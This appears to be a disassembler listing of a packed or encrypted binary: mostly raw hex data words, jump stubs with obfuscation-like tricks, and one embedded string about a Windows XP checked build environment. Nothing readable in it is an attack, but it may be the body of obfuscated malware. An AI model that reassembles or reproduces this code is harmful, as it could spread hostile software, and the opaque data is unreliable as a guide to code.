6E6FC58Dh, 4DC69A05h, 75CEC147h dd 3152C195h, 6608C5D8h, 0CA5C63AFh, 0EBAC1DDAh, 0B127BFE4h dd 3E1CC2F5h, 314F1742h, 5B8E4463h, 18339FCCh, 0CB47E455h dd 9CEA36Bh, 0B440C0B9h, 314FC578h, 0D918C5E7h, 314FC5C5h dd 6E8C9A43h, 356BB938h, 356B8159h, 314FC57Bh, 0BE8C9271h dd 0B16AE8F1h, 3E27C3F5h, 314FFF43h, 0E2CEA363h, 0B029A3FAh dd 14B0CEA0h, 31664063h, 3125C536h, 314C2D4Ch, 6E6FC58Dh dd 4DC69A05h, 75CEC147h, 315AC195h, 6608C5D8h, 63962AAFh dd 0D8156784h, 314FC540h, 89994EEBh, 314FC5C6h, 3142446Ch dd 39A6C5B1h, 5F4FC5D8h, 2C84C28Dh, 0D864D6E0h, 314FC55Dh dd 0D918C5E7h, 314FC5C5h, 6E8C9A43h, 356BB938h, 356B8159h dd 314FC575h, 0AD8C9271h, 5F4C780h, 315C2C4Eh, 9024C5C6h dd 82781152h, 0BA26BE85h, 0E924E25Eh, 0A9A73074h, 89BE4F61h dd 314FC51Ah, 187A5806h, 0D81FC23Ch, 314FC565h, 36F9B80Dh dd 35C6199Eh, 0A0DAC448h, 0BC483F22h, 0CE270EA6h, 5FC2488Ah dd 89483AA8h, 46299040h, 2D4E40B2h, 0FE64C222h, 4EC4C68Fh dd 0C21FE84Fh, 0B278CFB4h, 0E17ABE36h, 4015933Bh, 8F40CF8Eh dd 83079F3Eh, 0A4F305E9h, 458D8B58h, 6A07FA29h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 1628C356h, 0BB38723Ah, 0FA8B9DCAh, 840FC00Bh, 5Eh, 8DF98B66h dd 0FA4F66B5h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0B0889AF3h, 0C18D89DEh dd 0B807FA2Dh, 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0EEC35141h, 1F250990h, 0E6FF5525h, 5CB25053h, 0E840595Fh dd 14h, 2EDCF01h, 1FE3CBCDh, 0BE7388D3h, 209A1BB2h, 55B151C8h dd 68B0Fh, 85890000h, 7FA2EA1h, 6AC08B5Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2146C351h dd 0D1C7BFB4h, 0BD831B9Fh, 7FA2ACDh, 83097500h, 0FA1899BDh dd 19740007h, 0C08B5350h, 403B8h, 81858900h, 8D07FA15h dd 0FCE28B9Dh, 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h dd 403B8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh, 5BD3FF07h dd 840F6058h, 5, 0EC88166h, 0BE8E5h, 0A2C00000h, 9FA25DA4h dd 48032F29h, 9E96Bh, 0A8580000h, 0C1B9D08Dh, 5BF070EBh dd 958B5161h, 7FA00F1h, 0C08BFC5Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0C7C35646h, 3EB96606h, 0FABA66D3h dd 8E8610Eh, 53000000h, 24D1431Fh, 6621F38Bh, 5FCE55BEh dd 145D8501h, 0C78107FAh, 5D26h, 33EBBB66h, 1728B8h, 0F8BF500h dd 90C7BE66h, 1566F181h, 81660430h, 81A8FEDBh, 18A21E9h dd 0DF8B6638h, 0A854F181h, 0B3515734h, 66078F9Fh, 83DBA5BBh dd 9D3104EFh, 7FA2305h, 1E881h, 850F0000h, 0Eh, 0E93CDE80h dd 21h, 99616A28h, 55B2FA3Ch, 0FFFFADE9h, 0AC6E74FFh, 67E5E77Ah dd 0AE33FF69h, 0E556C488h, 0E8D37FA0h, 712ADE56h, 4B46D4D4h dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h dd 2056EF5Eh, 4E603262h, 0A5E4FFB4h, 6A6F867h, 0A3BEA162h dd 21CEF045h, 0A3BA7967h, 21C9D261h, 1706D71Bh, 29333262h dd 2633831Dh, 96B6C098h, 763459E8h, 5691D615h, 0D963AE67h dd 0DC352D0Dh, 2664839Fh, 23593598h, 56811F15h, 0AB634A67h dd 0D943041Dh, 0B3CC039Fh, 21C9B151h, 0A23C1493h, 26336AA1h dd 5681B015h, 0CE639D67h, 26334DAAh, 0A3BEF6D8h, 21CC2320h dd 94B624C8h, 76342BE8h, 2BF6FF67h, 0E2B03262h, 94B61794h dd 7634B2E8h, 56912315h, 0D9635467h, 0DC35500Dh, 26513D9Fh dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h dd 56938815h, 0ABBE9D67h, 21CC3C4Dh, 9320h, 0E7FC7800h dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 71D5B58Dh dd 8D8D07FFh, 7FF71F4h, 0E983CF2Bh, 0E8C88B05h, 0Ch, 8353277Eh dd 0A953B5FDh, 0DB5CF494h, 58F88B66h, 0AC58589h, 0C08107FAh dd 6C42h, 1495958Bh, 0E06807FAh, 0E900001Ah, 11h, 0FA91E844h dd 417B8CF9h, 545F6684h, 217213Bh, 0BA665B5Fh, 30FF65BDh dd 21A59589h, 895907FAh, 0FA2D599Dh, 7EC18107h, 0F501CC2h dd 0C83h, 68C0F00h, 29000000h, 0FA2869B5h, 39F18107h, 8929D5CAh dd 0FA0FF19Dh, 86F18107h, 0F3260C2h, 889F9BFh, 0E88325B6h dd 48484801h, 83E5CA80h, 850F01EBh, 13h, 2DE9h, 89BE9800h dd 0D7DFC1A5h, 54897F16h, 898B77BDh, 0FA18818Dh, 0FF90E907h dd 7423FFFFh, 27E64E02h, 0F8AC148Bh, 0BC5EEEh, 840B76EEh dd 136C4F90h, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h dd 4CA35F04h, 161475ADh, 163C45A5h, 120C013Dh, 0E6C55762h dd 573A0EF7h, 9708617Fh, 153A2CD9h, 0BA01CBAFh, 31B40E20h dd 93180126h, 1D3D85C2h, 77938A3Dh, 9104FB0Dh, 0E899F899h dd 96CF0123h, 1260011Eh, 0FA61014Eh, 12180127h, 4BCF5804h dd 16224DADh, 162745A5h, 1281013Dh, 5035065h, 94C14766h dd 9AE380C9h, 0FB5BC8C1h, 120C00FAh, 3BDB9CADh, 995406DEh dd 0E8AD2499h, 74905F23h, 9B97AE9Bh, 125A2520h, 121BE972h dd 4C2C0124h, 668F5FE7h, 56820500h, 12960500h, 44860124h dd 83E830E7h, 5FAD023Eh, 1D1FFB07h, 0EC284D25h, 0FA50014Eh dd 12030127h, 4C425F04h, 16E475ADh, 164445A5h, 12300132h dd 0EBDB5762h, 0AD038738h, 0E58767FCh, 0FB5BEDD0h, 12810121h dd 3AF62452h, 3EA082BDh, 0FA67014Eh, 12180127h, 4DCF5E04h dd 16227DADh, 162745A5h, 12810130h, 0CD035663h, 1AEBD9AFh dd 6A84F2A5h, 997E6BA6h, 1266FD6Ch, 1205E976h, 48230124h dd 46085BE7h, 56410500h, 127A0500h, 40720124h, 0CC8581E7h dd 0D3C8C8C3h, 152BBE42h, 243A8042h, 0E1050EDBh, 78C00124h dd 11885424h, 32300124h, 9B45C279h, 93082548h, 6022560h dd 57030124h, 3B1EC271h, 0E8CA9CB1h, 1BA18223h, 0FA67014Eh dd 12180127h, 4DCF5E04h, 16227DADh, 162745A5h, 1281013Ch dd 86035663h, 0DE6D2EF7h, 228594AFh, 2B9806DEh, 0A9890ECDh dd 78060124h, 11EB5024h, 32810124h, 9B99C27Dh, 93642568h dd 0A342560h, 53180124h, 0B68AC275h, 9B42B395h, 0E82138B9h dd 13C08A23h, 342ADBA5h, 19894F8Ch, 0BF300124h, 0F924B91Fh dd 7A71A7C9h, 0DA059DA5h, 12030BCCh, 0E4CF1324h, 6CD665Dh dd 0FA4B9F1Ah, 1230012Fh, 19EC80B4h, 0E52E1BF6h, 9B006453h dd 0E8236C91h, 91DF5F23h, 87CB04E5h, 159A2715h, 59A038A5h dd 97178A67h, 120C011Ah, 0FA56014Eh, 12030127h, 4A425904h dd 16E445ADh, 164445A5h, 1230013Eh, 0AFDB5164h, 0F714A939h dd 9F8BA316h, 15F94E42h, 14B6F6A5h, 1178313Bh, 9B600124h dd 0E81BFCB1h, 74F9FE23h, 996DDBAFh, 0E835F099h, 0D3BE8C23h dd 9F86FE56h, 0EDB545A9h, 9114B923h, 970300B6h, 15E215CDh dd 136CCE0Fh, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h dd 4CA35F04h, 161475ADh, 5E983A5h, 0C08BA4F3h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DC35747h, 0B23363B5h dd 0E6E5847Eh, 68F0Fh, 9D310000h, 7FA23D5h, 13E8C38Bh dd 81000000h, 9783CD4Ah, 3F7C3335h, 28BCC6E6h, 7C26C82Fh dd 8D0FACA0h, 5, 86CE8166h, 11E959D9h, 0EA000000h, 0D061A3DCh dd 4F34D70Dh, 0EF801AA8h, 36E26D06h, 61C2C181h, 0E6810000h dd 69BD6E76h, 183C68h, 0D99D0B00h, 5A07FA02h, 0DB9BD0Bh dd 31FF07FAh, 0BE8h, 5ACEF00h, 0B9769CC8h, 0ADA4327Fh dd 5EFA8B66h, 5BF08158h, 894515C5h, 0FA2F2DB5h, 56F08107h dd 8018EF3Ch, 0C081F7F3h, 96AB9C2h, 0FE9h, 0E27BD700h dd 4AE93644h, 291DC4A5h, 0FB41683Dh, 85B52950h, 8F07FA32h dd 0DB50301h, 8307FA27h, 0DCB704E9h, 0F01EA83h, 1385h dd 999D8B00h, 0E907FA22h, 15h, 0EA5501F5h, 0B50EE8DBh dd 0FFFF85E9h, 9CDD2FFFh, 49069375h, 198D8DE4h, 8B07FF77h dd 0FA3295BDh, 0D98D8907h, 6607FA1Ch, 85C7D68Bh, 7FA31ADh dd 6DE0h, 3810Fh, 8B660000h, 0D985C7D8h, 7FA2Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 8AE5C352h, 15E04360h, 0F28B66DAh, 0FFC6BF0Fh dd 0FA0EEDB5h, 319D8B07h, 0FF07FA06h, 0FA179995h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 19671577h, 10E99758h, 0D0000000h, 0D28372A7h, 2B362662h dd 599BA930h, 6AC3DF4Dh, 1995FF00h, 8B07FA10h, 0E75DEBC0h dd 0E55FBDACh, 5063E46Fh, 0FAE62BCCh, 0C8302468h, 0E699DB41h dd 3FFAA7C8h, 0FF7B3294h, 7C0D5F15h, 67F5B171h, 0FF64AD39h dd 0A7571484h, 0FC0FD0D3h, 3E6605AAh, 0D1D80F8h, 7645E2C2h dd 81A33CB0h, 0FF4A4B05h, 3B8A6E6Ah, 664787CFh, 3EDA0068h dd 282C2584h, 163AF23Fh, 0D0ABD8E4h, 78218D8Dh, 9D2307FFh dd 7FA068Dh, 1CD98D89h, 9D3307FAh, 7FA02CDh, 31AD85C7h dd 58CC07FAh, 11E90000h, 0DA000000h, 28413722h, 0FDD15AFAh dd 8008B3CBh, 3B8EB88Dh, 2BD985C7h, 7FAh, 860F0000h, 4 dd 28CBB866h, 3391B5FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 2682E6C3h, 59D8BD6h dd 0FF07FA1Fh, 0FA179995h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 663706E9h dd 6A05A9BFh, 1995FF00h, 8B07FA10h, 495AEBC0h, 8377A5CFh dd 0A451E581h, 8FBAF7Ah, 15B26878h, 7294FFF4h, 0C2063A82h dd 79DE17EDh, 0A86CDD3Fh, 761B4EB1h, 0DB4ADFBEh, 9DC5808h dd 68BA8E89h, 26DEFAE4h, 2E9D50BAh, 86F68523h, 44B2B1A4h dd 101F6A86h, 2CACA8A1h, 0C53B7881h, 0D309B6E7h, 99DEB772h dd 0BA1B9203h, 858D8D73h, 6A07FF79h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 5DBCC357h dd 3ABBC88Ah, 0F6BC74A5h, 8E9h, 0BACB7E00h, 4A9A6503h dd 0DB816688h dd 8D89E9FAh, 7FA1CD9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0B2C35141h, 84289BD2h, 8B99A25Fh, 0FA230DB5h dd 0AD85C707h, 6407FA31h, 0E9000069h, 11h, 0E3FF9922h dd 76303233h, 0A2CB06F5h, 6D4E6BCDh, 6880F9Ah, 2B000000h dd 0FA0E8D95h, 0D985C707h, 7FA2Bh, 0E9000000h, 6, 4E4E3A7Ah dd 0B5FFB61Ah, 7FA28EDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 7C35545h, 21495DF5h, 8ACDDBD5h, 95FFFCD8h dd 7FA1799h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 17C35646h, 6AF9FD39h, 1995FF00h, 8B07FA10h, 491AEBC0h dd 0D634A074h, 0C8081A4h, 64393C06h, 10E098CBh, 0AD053BB8h dd 0D0D02EB8h, 0B0E902h, 66600000h, 0C2F6DA8Ch, 0C850F04h dd 3B000000h, 0FA08A585h, 36840F07h, 3B000000h, 0FA051585h dd 2A840F07h, 3B000000h, 0FA0AF585h, 1E840F07h, 3B000000h dd 0FA2ABD85h, 12840F07h, 83000000h, 0FA1DE9BDh, 840F0107h dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh dd 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0FA4F669Dh dd 5B807h, 0E3FF0000h, 0D00BC361h, 6FE9h, 7D5BBC00h, 6E69570Bh dd 73776F64h, 20505820h, 63656843h, 2064656Bh, 6C697542h dd 6E452064h, 6F726976h, 6E656D6Eh, 202D2074h, 6C726570h dd 73657420h, 6C702E74h, 0Eh dup(0) ; --------------------------------------------------------------------------- jmp loc_5DBF11 ; --------------------------------------------------------------------------- push 7FF7CACh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF7DB3h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF7FCCh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF800Bh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF80BAh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF8170h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF858Ah jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF8858h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FF8971h jmp loc_59895C ; --------------------------------------------------------------------------- wait db 64h push ecx retf 0EB23h ; --------------------------------------------------------------------------- db 0DCh, 55h, 0AEh dd 3DE46B52h, 0C66DF4CBh, 61FB823Bh, 8C35D072h, 18AD5E05h dd 0A510EA91h, 2F86771Eh, 850271A8h, 0EFE191C8h, 0D5BBEF28h dd 26996F56h, 0E21734F1h, 0E05D94E7h, 0E7E21723h, 0B0ED3883h dd 0F69120D9h, 942DD8BFh, 38898057h, 0BFC972B1h, 0F6FE3BB0h dd 78220F70h, 0DF1C2F3Eh, 2AB3FBA2h, 0FD48E3D2h, 0F8FE7BB2h dd 6AEF7C4Fh, 401E81Fh, 0DB269D69h, 5E65A140h, 0F02D78C3h dd 602FE81Dh, 0A01EFDCh, 898120BBh, 27429F3Ah, 9E09ED5Ch dd 70B57ED3h, 490CD0AAh, 0E8000000h, 1CD956D5h, 7CE7E217h dd 0A022D031h, 255FE1C6h, 0C4F941E8h, 0BEDE108Dh, 0FD48EF7Ch dd 0CF742D62h, 9601EFDCh, 85CD76CBh, 0F504D0AAh, 9D000000h dd 8ED4A2F4h, 8D0AA480h, 0EFDCC0D0h, 399AE530h, 0FD39C4DDh dd 6326F75h, 0A81DEED5h, 0EA7CAC0Dh, 8EA79CD8h, 0D28F0C43h dd 32E7E24Dh, 3AD3AAE7h, 0ECAB548Bh, 56E84CFAh, 6DF4B12Eh dd 954E7E2h, 0FAE81BEh, 0F930CBF2h, 6E40FD7Ah, 55A0E7E2h dd 0F9C84118h, 774EBF5Eh, 3FCAB1F0h, 63A0EB86h, 0E272F2F6h dd 962FDEE7h, 2091680Fh, 99D61685h, 33827B62h, 0A1104D98h dd 7C942224h, 77876EEFh, 1D5AA540h, 83FA81CCh, 52CF063Bh dd 0F770F675h, 0AC93CA15h, 0BE425251h, 8CEA3AA6h, 0F613BA41h dd 69B791CFh, 88532F17h, 0DA545h, 0CFE61900h, 5A69A148h dd 0E9D02CD3h, 7245BB62h, 0B944EBh, 4EF4DF79h, 0DC830AB3h dd 680F962Fh, 0F59C2392h, 0EF26AD04h, 93460380h, 6DA6EFE1h dd 0CC2CD539h, 208F2892h, 19A860FFh, 1FF6337Eh, 0AD54DBE2h dd 0E2DE655Ch, 0B7345D9Dh, 0E7E216FAh, 8DC40F5Ah, 7C1FDE10h dd 62FD48EFh, 0DC30742Dh, 0CB9601EFh, 0AA24CD76h, 128F0ED0h dd 0EFDC2455h, 0B42D6AB5h, 0E1h, 259C6D90h, 911EEB8Ah dd 2786A562h, 811C67F3h, 0E316484Ch, 0ECC534E7h, 604FBE65h dd 0CE70B5B4h, 5AF54045h, 7A58A3EBh, 0B5999E90h, 0DC4D8CEDh dd 847B02A7h, 0E11B0239h, 0BEDA3BD6h, 0EFF05A2Eh, 47B6F33Eh dd 9D24E1C8h, 45F1F360h, 0BE3DEF7Ch, 0DC468441h, 5C99E4EFh dd 0C239C00Bh, 910E457Ah, 0F77092E9h, 42C1F843h, 7C17AE5Bh dd 253FFC31h, 549FF7D9h, 44C1A817h, 0AC5F467Dh, 0F6337E19h dd 4C759037h, 17743A0Eh, 0B8FBC62Fh, 0C9Eh, 4FD6EF20h dd 0DA6150A8h, 69F0D733h, 0F2794CC2h, 8007BE4Bh, 0A855FDE6h dd 28E38A11h, 9D6F169Dh, 0DFCA32Ah, 87F62DB4h, 0E1944D0Ah dd 4074ADEFh, 5613EED5h, 2C7712ABh, 51A746E1h, 2D78C35Eh dd 0D5EC19F0h, 7144B79Eh, 8F4E8BD6h, 19A011E8h, 0D19C6D1Dh dd 1CEC8B3Ah, 88BF5AA5h, 16CF8C09h, 0E42FE7E2h, 8839D0A7h dd 8D1FA851h, 84F88A59h, 1813D04Dh, 2873E7E2h, 75B52CEBh dd 0B6840138h, 3AEF7C46h, 49813EBBh, 0AAE1EFDCh, 0DC49702Dh dd 3A85D0EFh, 0C661ACFDh, 0DC48D891h, 6451AAEFh, 0E7DE2AC9h dd 0DAA5C04Ch, 49490683h, 5EA9EFDCh, 0C9B02F13h, 0A0EB863Dh dd 0E43D0863h, 0D0AA0F5Fh, 1172h, 0A5C94E00h, 62000008h dd 16A966E3h, 0BE09E7E2h, 5D9D5581h, 836AE920h, 56A13C8Bh dd 2D96AC19h, 0FD48EF7Ch, 7B4AC362h, 51039B44h, 3980D77h dd 0A96007C6h, 0C7467D18h, 0DC3D8D4Ah, 0B84EEDEFh, 0D41F6A05h dd 5E4B2A97h, 647F5718h, 7E2DDC99h, 51D4DC3h, 0F52C779Fh dd 0BEA0224Ch, 256298ACh, 774EBF66h, 48BEA5DCh, 0C23BDA75h dd 0FE6BA8F3h, 5720F544h, 0D2935EB9h, 5C038A3Bh, 34DD14ADh dd 0BA536B27h, 85A0AA0Bh, 0E91EF12Eh, 46B82DD3h, 17E7CE05h dd 3D0863A0h, 0F9308178h, 90CDF812h, 0CCD32AD1h, 0CACC5730h dd 56F13CD6h, 17EA7E7h, 57203F44h, 0D70E59A4h, 0BA3F385Ah dd 6097E25Eh, 3EA764E1h, 0BC075F1Ah, 8DA4C07Fh, 0C0F73474h dd 0B445A543h, 93104766h, 671445D6h, 69A0EB36h, 818E67C0h dd 7F919DABh, 57C0FD48h, 49AEAF2h, 0B1EE2E35h, 4B7A937Ah dd 90229F0Eh, 3A4CBF3Dh, 35D1B8EFh, 0F7E518Eh, 6C29A6CFh dd 464D1F3Eh, 88E902BBh, 870F2CE5h, 63AEF959h, 54B9AF2Ch dd 0E02B54B5h, 644BC2A9h, 22DF59D3h, 54B5009Bh, 98E35E23h dd 0A039E261h, 30B2142Fh, 6402BFF4h, 1762551Dh, 85741BDAh dd 376CEE2Ch, 0D19C4DDBh, 0A858Eh, 0EFC63900h, 7A49C168h dd 9B04CF3h, 9225DB82h, 2099640Bh, 6E14FF99h, 0FCA32A93h dd 882FB60Fh, 15BC4372h, 0F46CDE4h, 966623A0h, 8DC6EFE1h dd 259C6D59h, 0E07A7FE7h, 7DC08B20h, 0A46h, 0A72E8778h dd 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h, 50AD553Eh dd 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch, 0E196A562h dd 98CC05EFh, 8A259C6Dh, 0BD531EEBh, 0ED246F0Ah, 0E216B370h dd 7DC813E7h, 0AAC3DAF6h, 79F62D62h, 0EF7C1CDBh, 1371B65Fh dd 0DAE864DFh, 0CA014C9Dh, 0BE4C27E3h, 167FBC07h, 30ECB3B1h dd 0EE7FBFB1h, 0C40FAA13h, 96E1D825h, 0CF9E05Fh, 790B78B5h dd 5B933A1h, 3CD7EE1Eh, 1886E0DBh, 8CD75C57h, 18B3FE4Fh dd 0F52C61A9h, 29168278h, 72A9F4C1h, 0BC43728Bh, 8FCDE415h dd 0F94F7899h, 971B5E29h, 27000009h, 0AF56DDD0h, 3AE1685Fh dd 0C970F7CEh, 52F98037h, 0ED870EB7h, 18A15CE6h, 0A411EA91h dd 3184761Dh, 0BB0A03AAh, 118EFD34h, 0EFE19754h, 0D5477BB4h dd 6AA71EEEh, 0B04B7A93h, 95CCFB11h, 0E6155CAEh, 9EE984CFh dd 0C865A261h, 4AE7E216h, 0D84F9CA1h, 0FD3A5FF0h, 0A2D91656h dd 79628825h, 0E9230AEFh, 58A443DEh, 307BC661h, 2057A2F3h dd 0F36724A1h, 7CC7EFE1h, 10E9D03Fh, 0F4DB1AA1h, 9B72AF06h dd 2DEA6762h, 8DEFE1F3h, 0D9C0F742h, 59F89322h, 2B7611A0h dd 0FEC541E0h, 0B24FEEC1h, 5239700Bh, 0F9D00DB8h, 1CA56003h dd 0A06793D1h, 5823271Fh, 8E115h, 932ADD00h, 1E95650Ch dd 0AD14F097h, 36897F26h, 0C4FD08AFh, 12B0A33Dh, 0A047CEF7h dd 2CD35A6Bh, 0B960E7DEh, 0B3EA7140h, 980AC744h, 316AEFE1h dd 259C6DFDh, 0A312EB8Ah, 0F29B0A08h, 465FE9F9h, 1C95648Ah dd 6E3994D1h, 0B067660Fh, 0D43E5AD1h, 7849C097h, 6F09B2F1h dd 4FB08BF8h, 0D36A1DEh, 0CED7508Ch, 66A31AE7h, 547EDh dd 8A078600h, 0E7E2BBCDh, 0BBD5920Fh, 0EA35E7E2h, 0E9DC32D1h dd 9D35619Eh, 6CE9205Dh, 0EF7900CFh, 6ED246Fh, 0C037BEF7h dd 70A7427Fh, 6DE28DC7h, 3D7A9188h, 58B4CD0h, 0BD88F359h dd 34837960h, 3DA78CF7h, 551A563Ch, 0F6000000h, 0E81F5A9Dh dd 172FEC69h, 448FE7E2h, 978A53E3h, 417EC808h, 0E39855D2h dd 0F3DAE7E2h, 7514AF16h, 0A7E42F86h, 3B700B56h, 801C6BEh dd 0C41DE853h, 0F738097Fh, 1B52h, 0F404EB00h, 3E9754D1h dd 0ACF7084Ah, 0EBFD0061h, 0B09EBEF7h, 0FCC94773h, 0A5000001h dd 0E81F5A9Dh, 0C32E273Fh, 0AD0EE1F0h, 0F7BECC62h, 0F7CA07CAh dd 6C73EC2h, 0AF7AE551h, 3D7DE152h, 1FE0AEh, 9DBC0000h dd 4F841F5Ah, 5105F386h, 0C41DE853h, 0AE3C547Fh, 3289755Ch dd 960F4C97h, 0A4h, 1F5A9D72h, 15C069E8h, 348ECFC3h, 0D18E4B80h dd 0A3EEE7E2h, 0BD7AF766h, 0FFE7E2D0h, 96C87A56h, 7388C6AAh dd 9096F742h, 0C3BC00CCh, 0F54091CEh, 5C23FBEh, 1DE7E231h dd 5750D914h, 63AEC741h, 270E8526h, 0BA4E1D4h, 34C53BF7h dd 0CB43E27Dh, 17AE5DFCh, 39041F7Ch, 0EC378E7Ch, 72CB96E9h dd 94D360C9h, 0DB18B096h, 50FFC370h, 32FED7h, 0D5DA0000h dd 68A518EEh dd 0C437EC1h, 0E216D48Fh, 0F8E934E7h, 9EF19BB4h, 39B57ED3h dd 9716D750h, 0E20F5D1Ah, 3572BDE7h, 7BCh, 14C99800h, 0A5000001h dd 0E6C9h, 0B9B96200h, 0E5F1D6Ah, 9D4874B1h, 4F841F5Ah dd 3D11D8DFh, 0E548137Eh, 5B2CE966h, 418C3D32h, 7DAA9904h dd 92278200h, 3000000h, 8F18EED5h, 0DA9AEF7Eh, 0CC095431h dd 70A7E225h, 0E2E436F3h, 0B04B96E7h, 0C2FEA27Bh, 47F06F07h dd 0C3508BA0h, 9E11E7D3h, 306DB803h, 0CCB30AD5h, 0A3EE8930h dd 20BBF204h, 62D98D5h, 0BBF7701Fh, 47h, 0A82CD597h, 81A20472h dd 24D7490h, 0A0D91EC5h, 3C898269h, 561390FFh, 0B6E7E27Dh dd 0C29BD06Bh, 0D444C297h, 51F08B22h, 0CF6E09B8h, 0A5F08B32h dd 0AB1EE90Ch, 0AB6148C7h, 0B984DF1Ch, 70AADB68h, 7F6BAh dd 0C9D20000h, 53h, 399C6DA5h, 9A447E90h, 0F82DCEE1h, 0E7E2E73Bh dd 55B1509Bh, 5EC236Eh, 0DB26C1F8h, 0DC96CB9Eh, 58E7E2E6h dd 0AA6322EDh, 9D98941Bh, 873ECB5Ah, 0E31E053Ch, 30749DDAh dd 0AD52862h, 0E211E2B5h, 92D60E7h, 0BAD75034h, 0FFFFFF03h dd 2AEC996h, 0D5A50000h, 6BA81DEEh, 0B14C6594h, 43CAFB12h dd 0E6638CCCh, 0E7E21729h, 9F2ED41h, 89A28368h, 3FBCF33Eh dd 0EF7C9639h, 3AF774ABh, 9AEFDCA6h, 6C55B04Fh, 0A03B86D1h dd 0DCA5B26Bh, 9D43FEFh, 0AAB68BB8h, 906950D0h, 0FE3B8621h dd 3C85h, 5D9D6100h, 836AE920h, 90FD3A8Dh, 0EF7C1F5Eh dd 0F1AE2BAAh, 51EFDC2Eh, 2EE09D1Ah, 0F540EFDCh, 0D11C6DAAh dd 2F480136h, 6AD5EFDCh, 25F1429Fh, 0DFD0D0AAh, 69000000h dd 0FE3B8A82h, 0D19C6DD2h, 0A6418C3Bh, 0D808C66Fh, 29DD21E8h dd 0F7B875F2h, 0CD18E7E2h, 754CB990h, 0F3C23BDAh, 0A8782158h dd 41188C9Bh, 53EEC736h, 0A980BD08h, 9DDA6150h, 0E7E29399h dd 0B63D7485h, 9C6EFF3Fh, 0F8438E29h, 9124DAC1h, 124AABF6h dd 395E6F7h, 50CD3C79h, 0EF767A26h, 7B3F1F80h, 9F86BB7Bh dd 0AC788E38h, 8539E08h, 0A61FEAD1h, 3F9E01Fh, 97CE19B4h dd 0DE2C5D1Ah, 3572BDEFh, 0DC1AA35Eh, 271C69A6h, 0C7549762h dd 0F7000004h, 7F26AD00h, 0AB1388Fh, 9940C7FEh, 22C95067h dd 0BD57DEE7h, 0E8D12CD6h, 7441BA61h, 1B446EDh, 8B3AD37Ah dd 0E15ECD04h, 0EFE19C24h, 0D5174B84h, 6AA71EEEh, 71397693h dd 6255A742h, 84000A01h, 0E11B0239h, 0B3F03BD6h, 5BC4DF4h dd 9C6D827Eh, 0F607EE25h, 3AD924BFh, 0E1B4F1C4h, 0F1AE2BAAh dd 51E7E216h, 1BF2C906h, 6CAC23AAh, 597BF82Fh, 3EF7C17h dd 31E81DB8h, 0A4EFDC18h, 761F7E49h, 2F01EA17h, 7D246159h dd 20C9003Dh, 0ECE14987h, 0B2215E3Bh, 76531335h, 0EB72BDF7h dd 0C0F73474h, 6D3DA643h, 0C4FB46FFh, 139A21DDh, 0D5CE17D6h dd 0EEB861FFh, 0F6B14A37h, 0B349205Dh, 88327D04h, 0E000000h dd 1CD956D5h, 7CE7E217h, 170BC845h, 206BE7E2h, 722B98D5h dd 74E7E217h, 0C36AF1CEh, 0CA498047h, 0E217904Dh, 68A5F0E7h dd 16A36095h, 90BFE7E2h, 0D38A67E7h, 0BA948574h, 568BEC57h dd 207BB859h, 4D749055h, 5D1A9716h, 0BDE7E27Dh, 7D4C0986h dd 61ACE7E2h, 0DB1AD916h, 4DAE07F4h, 0D37C6D60h, 0FE623B1h dd 0FA2FCAFDh, 0E7E24840h, 7E47127Dh, 226238Ch, 0BF264F82h dd 0C7AEED74h, 35218235h, 8567716Dh, 0D5709CD9h, 6A518EEh dd 0AC83C0F5h, 8730675Eh, 35D2F7A6h, 0D9ACE949h, 5AF5C03Ah dd 0D77245BBh, 58F3C238h, 0A415E0FBh, 9F8E37A6h, 10A9F95Ch dd 400B66A3h, 0A9308775h, 3C8B836Ah, 0AC1956A1h, 0E7E27F97h dd 